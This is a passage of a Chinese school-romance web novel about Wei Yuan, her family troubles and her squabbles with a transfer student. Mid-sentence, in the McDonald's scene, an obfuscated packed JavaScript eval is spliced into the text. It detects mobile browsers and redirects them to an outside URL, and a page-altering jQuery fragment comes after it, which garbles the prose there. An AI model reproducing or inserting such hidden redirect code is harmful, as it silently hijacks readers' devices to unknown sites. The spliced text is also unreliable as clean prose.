商娩用看傻子的眼神同情地看了范晔一眼，下一秒，宋繁果然也把骰子抓过去，在桌布正中央晃出了六。 蔚媛再次伸手时，商娩转身回到了座位上。 “同桌，我们还玩不玩啊？”范晔在旁边小声说。 “……” 这场以比大小为主题的掷骰子比赛最终以蔚媛5胜宋繁1输的结果正式落幕。 窗台堆积的书掉落一本，蔚媛弯腰捡起，听见教室后门有人喊她的名字。 “芋圆！雁子让你去趟办公室！” 蔚媛偏眸看见身旁的这位“手下败将”已经自动起身，她用鼻子极轻地哼了声，越过他的座位扬长而去。 …… 周五放学早，又碰上难得的双休，一直到自习课结束放学铃响起，蔚媛才从办公室回来。 商娩今天晚上要和父母去聚餐，她扒开人群往外冲，看见蔚媛时朝她喊：“明天见，银泰门口！我要知道为什么！” 她说的是和转学生的事，蔚媛瞥了一眼宋繁的位置，他没有教材一身轻，早就没了人影。 教室里只留下了几个值日的同学，蔚媛把周末要看的课本塞进书包，又把窗边凌乱的教材收拾摆放好，才慢吞吞地走出了教室。 公交车站的拥挤此时终于松懈，她找了个空位坐下，把耳机塞进了左耳。 526路公交车。窗外的夏末光景摇摇晃晃，树下的小片泥土还带着雷雨后的潮湿，街边流浪小猫结伴而行，车路过几个十字路口，终于从嘈杂的城市中心来到陈旧的生活角落。 蔚媛在小区楼下碰见了提着一袋雪糕的外公。 “买了十只小布丁。”半个月没见，外公看到她也不惊讶，只朝她晃了晃手里的保温袋。蔚媛走过去，扒开袋子往里瞧。 巧乐兹冰工厂，全是她喜欢的味道。 “小姨和你们说了我要来？”蔚媛抬起眼看着外公，“你们又没人吃咖啡味的雪糕。” 外公不回答她，自顾自上楼去，老旧小区没有电梯，好在他们住二楼，蔚媛抱着书包跟上去。 她有外婆家的钥匙，但现在用不上，在她手里转着，稀里哗啦响成一片，外公推开门，房里的空调风迎面吹来，将她身上的闷热瞬间吹凉了。 “快换鞋进来，冰箱里还有你喜欢的红枣酸奶。” 外公给她拿鞋，蔚媛站在门口没动。 客厅的电视里正在播放黄梅戏，外婆戴着老花镜在择菜，厨房里叮当几声，是小姨在往杯子里加冰块。 眼前所见，明明都很正常，但家里多了个不应该出现的人。 蔚媛倏然捏紧钥匙，她的手心出了汗。 5. 05 5 蔚媛的一切计划都不顺利。 526路公交车又摇摇晃晃把她载回到市中心，时间已经接近七点，天在变暗。窗外路灯在她晃神的片刻里亮起，司机一踩刹车，出逃的意识终于回笼。 “你很不想见我吗？”她的脑海里浮现出陈义兰在饭桌上问她这句话时的神情，然而此时她忽然透过回忆看清对方的眼角，原来横着两道细细皱纹。 像是木筷上浅浅的纹路。 外婆在旁试图缓和气氛，笑着说哪有女儿不想见妈的，蔚媛在心里默默回答——的确不想见。 全身僵硬的四个小时，回想却不用五分钟，蔚媛只觉得胃里的红枣酸奶、小布丁连同她的几口晚饭一起，跟着车晃啊晃啊。 最后还是小姨救了她，放她回家了。 和哥哥约定好的家庭电话也没打成。 蔚媛捏着防晒衣里的钥匙串，从公交车站走到家不过几步路，在小区门外的扫脸系统上看到自己皱着眉的臭脸，好难看。她突然有点想笑。 手机震动了两下，她解锁打开，是商娩给她发了今晚和父母的聚餐照。 “这家的手握真是太好吃了，芋圆，我们下个月就来这家吃好不好！” 聊天框里是没加滤镜的原图，比发在空间里的多了分烟火气，烟火气？ 蔚媛终于笑出声了。 冷冰冰的日料哪里来的烟火气啊。 她在键盘上飞快敲打了几个字：“我要吃熟的。” 商娩没有回她，大概是还沉浸在手握的美味陷阱里，蔚媛进了电梯刷卡，退出和她的聊天，发现班级群里这时候正热闹。 “欢迎新成员加入我们五班大家庭！” 哦，原来是那个新来的讨厌鬼。 钥匙上的小熊挂件180度旋转，蔚媛打开门，在玄关处站定，翻了两页班群里聊天内容。 这个小群里没有老师，大家很容易放飞自我，拉宋繁进群的是班长丰茂，蔚媛犹豫了一下，点开了宋繁的头像。 是个被各色颜料包裹的调色盘，她无聊数了数，有十四格。 班群里的消息还在不断叠加，主角却从头到脚没讲过几句话，全靠几个白磷型人格的同学在自燃。 蔚媛把钥匙扔到矮柜上，弯腰换掉了鞋。 屋里没开灯，因为没拉窗帘，外面暗沉的夜光透进来，在视线里平铺出一道深色的蓝。 蓝调要结束，再过几分钟，一切都要变黑了。 蔚媛站着没动，手机屏幕不断亮起又熄灭，直到她眼前什么也看不见。 她和偌大的、冰冷的、空无一人的房子。 灯亮的时候，蔚禾谨的电话进来，蔚媛抹掉脸上的眼泪，深吸一口气接起电话。 “到家了吗？”蔚禾谨那头挺热闹的，依稀能听见很多不同音色的外语，蔚媛抬头看了眼墙上的时钟，他那边应该正值中午。 “刚到。”她把手里的纸巾揉成一团，丢进了垃圾桶里。 “我明天和小姨通个电话就行，你……”蔚禾谨似乎是起身了，蔚媛听见他在那头被打断，轻声说了句Thank you，才和她继续，“你乖乖上学，有事就和小姨说，其他不要管，知道吗？” 蔚媛盯着拖鞋闷闷地应了一声。 “小圆，不要用他们犯的错惩罚自己，等你高考，哥哥会回来的，好吗？” 要好好吃饭，好好睡觉，好好学习，她知道。 从浴室出来，终于收到了商娩回的信息，她满口答应说吃烂的都行，蔚媛笑了笑，把班群设置成了免打扰。 饭后睡觉很容易做梦，无论午晚。 蔚媛又梦见宁城机场。 明明是六月份才发生的事，蔚段的脸她却已经记不清了，他说着什么她也全部忘记，梦里只记得哥哥目无表情的脸和离开前抓紧她的手。 她一如无法阻止父母离婚家庭破碎一样，无法也不能阻止蔚禾谨离开。 他们都明白前途重要，绝不能被困在原地。 但伦敦那么远。 梦境里回忆也破碎，转眼她又看到陈义兰站在家门外，身旁横着一个巨大的黑色行李箱，说要去找蔚段问个明白，到底为什么要出轨。 她就走了，什么时候回来，不清楚。于是只剩下她一个人。 “我从来都没有不要你。”陈义兰的声音在她耳边响起。她还是回来了，不知道有没有得到答案，却还是要走，这次不知目的地。 蔚媛冲进卫生间，白色灯光乍亮，很刺眼。 她抱着马桶，把红枣酸奶、小布丁连同那几口饭一起吐了出来。 …… 第二天约定在银泰一楼的麦当劳见，蔚媛比十点的闹钟醒得更早。 她和商娩都不是能早起的人，默认见面就是午饭时间。 昨晚吐过，胃还有点隐隐作痛，她在药箱里翻出胃药吃了一颗，站在厨房里慢吞吞地喝掉半杯水后背包出了门。 周六午间的麦当劳本就人满为患，偏偏麦旋风和中薯还买一送一，甜品站旁堵着一群孩子，蔚媛和商娩对视两秒，果断放弃。 “先喝点可乐吧，可乐也不错啊，最近好像还出了无糖的。”商娩踮脚往取餐台看了一眼，“前面还有四五位才轮到我们，先坐下！” 她们和一对情侣拼桌，坐在靠窗位置，蔚媛低头在手机小程序里加了一份麦辣鸡翅，看见商娩屈起的食指在她面前的桌子上敲了敲。 “我准备好了，你从实招来吧！”她清了清嗓子。 商娩一向把主线任务记得很清楚，蔚媛趁着付款的间歇抬眸看她，她眼里的八卦情绪都溢出来。 “其实也没什么事……” “这还叫没什么事？”赵齐云推开麦当劳的门，回头不可置信地打量了宋繁一眼，语气里却带着些许揶揄，“你没跟那个妹妹头打起来啊？” “她肯定打不过我。”宋繁看到店里的拥挤，犹豫了一下才进门，他不明白为什么每天都有这么多人在麦当劳排队，他不喜欢吃汉堡。 赵齐云大吃一惊：“你还真想过跟她打啊？” 是不是脑子缺根筋？ 赵齐云是宋繁在国际高中的好朋友，从小学起他们俩就是同学，这次周末他会来，宋繁不意外。 他面无表情地把赵齐云往前推了推：“烦不烦，问了一路了，去点餐。” “早就点好了。”赵齐云眯着眼寻找屏幕上的取餐号，把台面上的两杯可乐递到宋繁手里，“我是怕你转学了不适应才多问几句，好心没好报，走，去找座位。” 宋繁接过可乐没说话，跟在赵齐云身后。 的确挺不适应的，他心想，除了刚才一路上说过的，一个教室里塞四十多个学生、课程和作业都变成中文、每天五点放学还有晚自习外，最让人不能接受的是大小周。 宋繁不明白这个世界上怎么会有大小周怎么缺德的发明，简直是丧心病狂。 “不过来都来了，撑也得撑完这一年，要不就那儿吧？那对情侣要走了。”赵齐云眼尖，看到窗边的位置要空出来，拉着宋繁就往前走，一边还不停和他说着话，“你要是当年听你妈的话，也不至于现在来这受苦。” “我劝你别哪壶不开提哪壶。”宋繁和那对离开的情侣擦肩而过，打扫桌面的服务员飞快撤走餐盘，他比赵齐云先一步坐下来。 他嘚瑟地摇了摇手里的可乐，纸杯里的冰块撞得沙拉沙拉响，赵齐云翻了个白眼，只能端着餐盘坐到了桌对面。 二人才坐定，宋繁把可乐往桌上一搁，听见旁边传来一声低低的疑惑—— “宋繁？” 他不解抬头，看见商娩时不由得愣了愣。 商娩手里捏着一盒甜酸酱，耳边还绕着方才蔚媛和她说的“鼻涕事件”，没想到一晃眼，男主人公出现在了眼前。 桌前四人纷纷呆滞，周遭人声嘈杂，他们之间竟硬生生显出一片诡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588688|171776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异的静。 “哎？妹妹头？” “……” 宋繁猛地转头看向赵齐云，原本迷茫的眼神仿佛化作尖刀，恨不得把他的嘴给缝起来。 都说了是外号，怎么敢当着人家的面喊出来，他是白痴吗？ 赵齐云接收到宋繁的目光，心中咯噔一声，心想这下完了，他赶紧低头往嘴里塞了块麦乐鸡，试图装作无事发生。 “妹妹头？”商娩眨眨眼，看了看赵齐云，又看了看对面的蔚媛，愣了好几秒，突然反应过来，偏头嘿嘿笑了两声。 蔚媛咬了咬牙，顿时觉得嘴里的可乐气泡都变成要暗杀她的武器，激得她牙疼舌尖疼。 冤家路窄，怎么就正好碰上了！ 妹妹头这种外号，肯定是宋繁取的，不然这个和她素未谋面的男生怎么可能知道她的发型！ “哈哈，对，这个发型……”赵齐云眼看逃不过去，好兄弟宋繁又没有救他的打算，只能硬着头发看向蔚媛，边用手指了指自己的头发，“妹妹头，很可爱，下次我……” “你也去剪一个。”蔚媛点头，像是没看见旁边的宋繁，对他笑了笑，“挺凉快的。” 赵齐云是寸头，要说发型凉快，怎么也轮不到妹妹头，宋繁听完觉得好笑，嗤了一声。 “你也可以试试。”蔚媛把手里的可乐一推，拿了张纸巾擦手，她笑意盈盈地看着宋繁说，“应该也挺适合你的，迷路哥。” 商娩终于没忍住，一口汽水呛在喉咙里，猛地咳嗽起来。 宋繁没想到自己居然被冠上“迷路哥”的外号，他不可置信地看着蔚媛脸上的皮笑肉不笑，觉得一股无名火从心头涌了上来。 还以为她是打算小事化了，原来是报复！ “你……你说我是什么？你这个可恶的妹妹头！”他选择外号攻击。 蔚媛耸了耸肩：“妹妹头怎么了，妹妹头只是我的发型，但迷路是你的缺陷，再说了，是你先给我取的外号。” “……” 宋繁本来就没理，如今被噎了一下，瞬间被气得说不出话，他没想到自己第一天到三中找不到教师办公室的事会被给他指路的蔚媛拿来取外号。 这个赵齐云啊！他讲出来干嘛呢！ 桌边另外二人大气也不敢出，静静看戏。 宋繁看着蔚媛勾起的嘴角，垂在身侧的手捏成了拳。 她这副胜利者姿态真讨人厌，和昨天掷骰子赢了他时一模一样！ 接连着两回都没占上风，宋繁有火无处发，他狠狠瞪了赵齐云一眼，伸手去抓桌上的可乐。 可乐消气，他再不消气就要气死了！ 入口的汽水冰凉，冰块撞击的声响清脆，宋繁捏着纸杯，正打算再喝一口，却听见商娩倒吸气，紧接着他的眼前出现一只纤细白皙的手，夺走了他手里的可乐。 “你干什么！”宋繁来不及反应，可乐被抢，他晃了下神，看见可乐到了蔚媛手里。 “喂……”赵齐云犹豫地开口，想要阻止宋繁起身的动作。 宋繁觉得那股无名火已经窜到脑门，他站起来指着蔚媛：“你，你！” 这人怎么连可乐都要抢？ “你喝的是我的可乐。”蔚媛无语，把可乐往桌上一丢，靠在了椅背上。 周围彻底安静下来，宋繁听不见一点声音，倏然窜上来的火气又倏然消失得无影无踪，此刻他只觉得耳尖猛地热起来。 像是有气泡在他脑内轰然炸开，让他无法思考。 “你……我……”他的脸迅速涨红，原本俊气的模样如今看起来反而露出一点呆滞的傻，他抬手捂住自己的嘴唇，随后又惊慌般将手背到身后，目光飘忽着，最终落在了蔚媛的唇上。 但停留也只一秒，他又匆匆将目光移开。 正当几人不知他到底要如何时，宋繁猛地推开身后的椅子，转身走向了取餐台。 “我，我再去给你买一杯，你等着。”